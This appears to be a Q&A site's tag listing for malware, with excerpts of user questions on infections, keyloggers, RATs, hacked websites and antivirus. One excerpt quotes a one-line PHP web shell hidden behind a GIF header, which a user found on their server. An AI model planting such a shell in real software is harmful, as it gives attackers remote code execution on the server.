Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

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6answers
13k views

Use PHP to check uploaded image file for malware?

I want my users to be able to upload a photo. Currently I am not checking the uploaded photo for problems of any kind, although I do limit the size to 32k. Is there any way for me to check uploaded ...
2
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2answers
1k views

What is the ultimate goal of hacking a webserver? [closed]

Recently I noticed a lot of traffic generated by automated bots that were checking for vulnerabilities in my web server. They were mainly looking for ways to hack into plesk/wordpress which I don't ...
2
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1answer
198 views

What anti-keylogging programs can you use when using a public PCs

Are there anti-keylogging programs that can keep you safe while you are using a public PC terminal? Do they exist and what are these? I like to know that I am safe when entering data on a public PC ...
2
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3answers
147 views

Is it possible for a virus to be downloaded unknowingly and run when a website is opened?

Usually, the only time I see viruses happen is when someone mistakenly runs an infected file. But could one also be infected by just visiting a website?
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2answers
2k views

Why does Google Safe Browsing keep detecting malware on my website?

We provide a freemium service to upload large files and download them later on. Using ClamAV, we scan every file for viruses after it is uploaded and before it can be downloaded. The file is deleted ...
2
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3answers
2k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
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2answers
3k views

Is this a valid Windows update page

In my chrome browser if I google for Windows Update the first hit is windowsupdate.microsoft.com/‎ When I click on it I am redirected to http://www.update.microsoft.com/windowsupdate/v6/thanks....
2
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2answers
471 views

Beside GIFAR are there any other known polyglot files? [closed]

A GIFAR file is a polyglot file with a fancy name. It can be "opened" both as a valid GIF file and a valid JAR file thus leading to security issues under certain circumstances. Definition of a GIFAR ...
2
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3answers
12k views

Wife was conned into allowing her computer to be hacked, what do I do? [closed]

My wife had a popup on her old Windows Vista laptop (which I've been threatening to switch to Ubuntu Linux). It appeared to come from our ISP, and informed her that she was hacked, and to call a ...
2
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3answers
2k views

Malware not showing up in virus scan

I have some malware on my computer at work that I'm having a hard time getting rid of. I'm only interning there over the summer, so I'm guessing that it was downloaded by the previous user because I ...
2
votes
2answers
2k views

Somehow unexpectedly my computer got infected with malware

So I consider myself a pretty conscious computer user. I run Windows 7 SP1 Pro 64bit and I update it. For surfing on the web I use Firefox 20.0.1 - I keep it updated. I also have NoScript and AdBlock ...
2
votes
3answers
422 views

How isolated are 2 operating systems on 1 harddisk?

Lets say I have 2 windows dual booting on the same harddrive (windws 7), How isolated are they? I am thinking that there should be up to date antiviruses software on both Windows, and they should be ...
2
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4answers
1k views

My website has been hacked, what do i do next? [closed]

So. I couldn't see any other question like this on Sec.Se so i thought i'd ask. My public website www.foo.com has been hacked. The front page is sending it to be redirected to seoblog.fooblog.com in ...
2
votes
3answers
218 views

How to test for presense of antivirus?

I want to test that when user uploads file, then it goes through up-to-date and properly configured antivirus. I think that to test for it I need some malware that is likely to be detected (it doesn't ...
2
votes
2answers
180 views

What risks do I have now that I accidentaly opened a suspicious URL send to me by Skype?

The following URL was sent to me by a trusted Skype contact (from my university): WARNING - DO NOT CLICK IF YOU DON'T KNOW WHAT YOU'RE DOING http://bit.ly/28PPw3V#dahubas=my_skype_id I clicked on ...
2
votes
4answers
1k views

How would a keylogger bypass Wireshark sniffing?

I often see malicious keyloggers being advertised as having anit-wireshark feature. Meaning their data can't be sniffed. Is it possible to do so? How would they do it? My guess is that they just ...
2
votes
2answers
186 views

Security Practices by Employees in a Corporate Environment

Consider the following situation : 1. Somehow my boss's system got infected with a malware ( He visited one of the Java exploits website). 2. He sends a PDF document containing the requirement ...
2
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2answers
1k views

Antivirus settings: delete or quarantine the file?

I understand that most antiviruses by default quarantine infected files. I have changed it to remove all infected files immediately. Would this cause more harm than good?
2
votes
4answers
804 views

How to identify the Java program that is maliciously accessing my web site from many client addresses?

For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" 202.xx....
2
votes
1answer
143 views

Trust linux images burned from untrusted systems

For securitys sake I'm assuming my system is successfully compromised after a targeted and/or non-targeted attack. I've downloaded some linux images and burned them to do a re-install. Since I can't ...
2
votes
1answer
601 views

With Ubuntu on Windows 10, could exploits and malware that work on Ubuntu (or related distros) work on Windows? [closed]

So apparently Hell has finally and completely frozen over: the next major update for Windows 10 will be able to natively run Bash, related tools, and even some broader set of Linux binaries/programs ...
2
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2answers
113 views

How to prevent IoT devices from phoning home via the neighbor's wifi?

I'm wondering what, if anything, can be done to thwart the sort of attack described below. First, you can assume the following: (1) There are several devices in your home which you have deliberately ...
2
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3answers
109 views

Methods to have multiple Anti Virus installed on one machine

I am running Windows 8.1 Pro, Ideally I would like to have the top 5 Anti Virus installed but I am aware it is not advised as they can clash with each other. I was wondering if there is a favoured ...
2
votes
2answers
324 views

Viewing an infected file via FTP and code editor won't infect my PC right?

My apologies this may sound like a paranoid question... Recently my friend's website was infected by malware. With her permission, I FTP into her account to have a look and found some malicious PHP ...
2
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3answers
1k views

How are 1x1 pixel images used in a malicious context?

I have been analyzing malware and I am seeing many 1x1 png and gif files. What could these be used for?
2
votes
2answers
409 views

Identifying suspicious encrypted traffic [duplicate]

Firstly, I welcome a better title for this question. I admit I'm a security novice. I'm trying to determine whether I have malware and what that malware may be doing. Using Wireshark, I see several ...
2
votes
1answer
728 views

How Browsers prevents Malware and Phishing attacks

I want to know how phishing and malware protection features are implemented in modern browsers like Chrome, Firefox, IE etc. Are these features heuristic based, or do browsers maintain a list of ...
2
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2answers
1k views

Is copying & pasting to the clipboard vulnerable to keyloggers? (CTRL+C and CTRL+V) [duplicate]

If I copy a username/password from an email and paste it into an FTP client or an online form in the browser, can keyloggers capture this private information? And does it make any difference whether ...
2
votes
2answers
17k views

How does Remote Access Trojan / Backdoor Software work?

How does a RAT works? I understand it as once we visit the infected website, the browser might download the Trojan to our PC automatically. Will it be executed and auto-installed in our computer? I ...
2
votes
2answers
100 views

Hardening Javascript in respect to Javascript Malware/Ransomeware like Ransome32

Are there any methods or standards to harden Javascript implementations to help reduce/remediate the the risks associated with Javascript malware like the Ransom32 or other types of Javascript attacks?...
2
votes
3answers
98 views

Does any malware target Tails?

Tails is not a popular OS and is optimized for security, which makes me doubt there is a significant amount of malware that targets it. I googled "malware targeting tails," and found no relevant ...
2
votes
1answer
661 views

What's with the Facebook malware which posts obscene posts in all the groups? [closed]

How to get rid of the Facebook malware which sends pornographic posts in all the groups you belong to? I always made fun of people who became victim of this malware/virus saying they are not cautious ...
2
votes
2answers
183 views

Is loopback interface protected from sniffing?

I'm trying to understand what are the risks derived from unprotected communications within the same device, by the use of the loopback interface. I've verified it is possible to capture packets, with ...
2
votes
3answers
377 views

How could an iPhone be transmitting abnormal loads of data without apparently running anything?

My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a" I got this information from Onavo, which 'compresses' my data. I have never heard of Busuu until today. It is a language ...
2
votes
1answer
2k views

Windows PE file and Malwares

Trying to understand how and why any virus, malware, worm and code injections are successful after all in a Windows Portable Executable format. I was going through the PE structure documentation, ...
2
votes
4answers
1k views

Detecting malware hidden in P2P traffic

Consider a network situation involving (only) Peer to Peer traffic in medium sized network. For the sake of convenience, a simple P2P application like DC++ may be assumed, although I am aiming at a ...
2
votes
5answers
540 views

malware classification based on action [closed]

Where can I get info with a view to classify malware based on actions performed by the them. Eg. modifying registry files, copying themselves into other executable's etc.
2
votes
2answers
349 views

Can a BIOS or UEFI infection transfer to other storage drives without the OS presence?

I am already aware that a BIOS or UEFI malware "activate" only in the OS environment. Is it possible though that a spread mechanism be activated without the presence of the OS, so that it would infect ...
2
votes
1answer
301 views

Does CryptoWall needs a internet connection to encrypt my files?

Does CryptoWall 3.0 use some resource on the internet to encrypt my files? I watched this video on YouTube - in this video a tool is used to sniff network traffic and find information about ...
2
votes
3answers
2k views

Can a wireless headphone (bluetooth) contain malware?

Can a wireless (bluetooth) headphone store data? Also, if it can, then can someone put malware in it? I assume that the device must necessarily be able to store some sort of data, since it has buttons ...
2
votes
1answer
322 views

What does this potentially malicious code do? [closed]

While reading a website called 4chan/b/ someone posted this code snippet, i was wondering what it does when executed? it appears to be C code, how harmful is it? This is the full post: Run a live ...
2
votes
3answers
6k views

How to search for evidence of Camfecting (webcam hacking)?

I'm worried about camfecting (webcam hacking). The camera light on my mac (running OSX) is not on, but it isn't hard wired so that doesn't say a lot. I've ran a virus scan but no signs. Now my idea ...
2
votes
3answers
174 views

Known windows malware propagated via unmounted iPhone

Last week I was told by our security department that my PC (running windows 7) was infected by a trojan and that it needed to be re-imaged. So re-imaged it was! Given the fact that I had been using ...
2
votes
1answer
147 views

Sonar power saving. Attacks and how to mitigate

I recently came upon a program called Sonar power saving that uses speakers and microphone to put the computer in power saving mode as long as you move away from the screen. http://stevetarzia.com/...
2
votes
1answer
283 views

Where's the virus in this web site?

I made my friend go to this web site and it immediately infected his machine with malware (AntiVirus SecurityPro). It happened just by going to the front page. It seemed the malware started up, but ...
2
votes
2answers
364 views

Is interpreted malware easier to detect than compiled malware?

Is compiled code more of a security risk than interpreted code? I'm under the impression that it is due to the fact that compiled code can hide malicious code from malware scans.
2
votes
2answers
329 views

How does duqu delete itself?

I'm curious to know how Duqu deletes itself. From technical point of view and generally, how can an executable delete itself while is running? Does Duqu use a specific procedure to do this?
2
votes
1answer
6k views

In Metasploit, how to use a custom exe as payload?

Question was once on a mailing list but wasn't answered. I want to use a custom exe as a payload in metasploit. For example when I use exploit/multi/browser/java_atomicreferencearray and want to ...
2
votes
1answer
172 views

Is there a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? [closed]

As mentioned in the title I'm looking for a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? Maybe there is ...
2
votes
1answer
182 views

Can a bad guy be judged for gaining access to sensitive information?

Assuming a hacker has sent to somebody a malware. It's a trojan (digitally signed by TeamViewer) which runs automatically when windows starts up and sends the login info to a web site using GET (...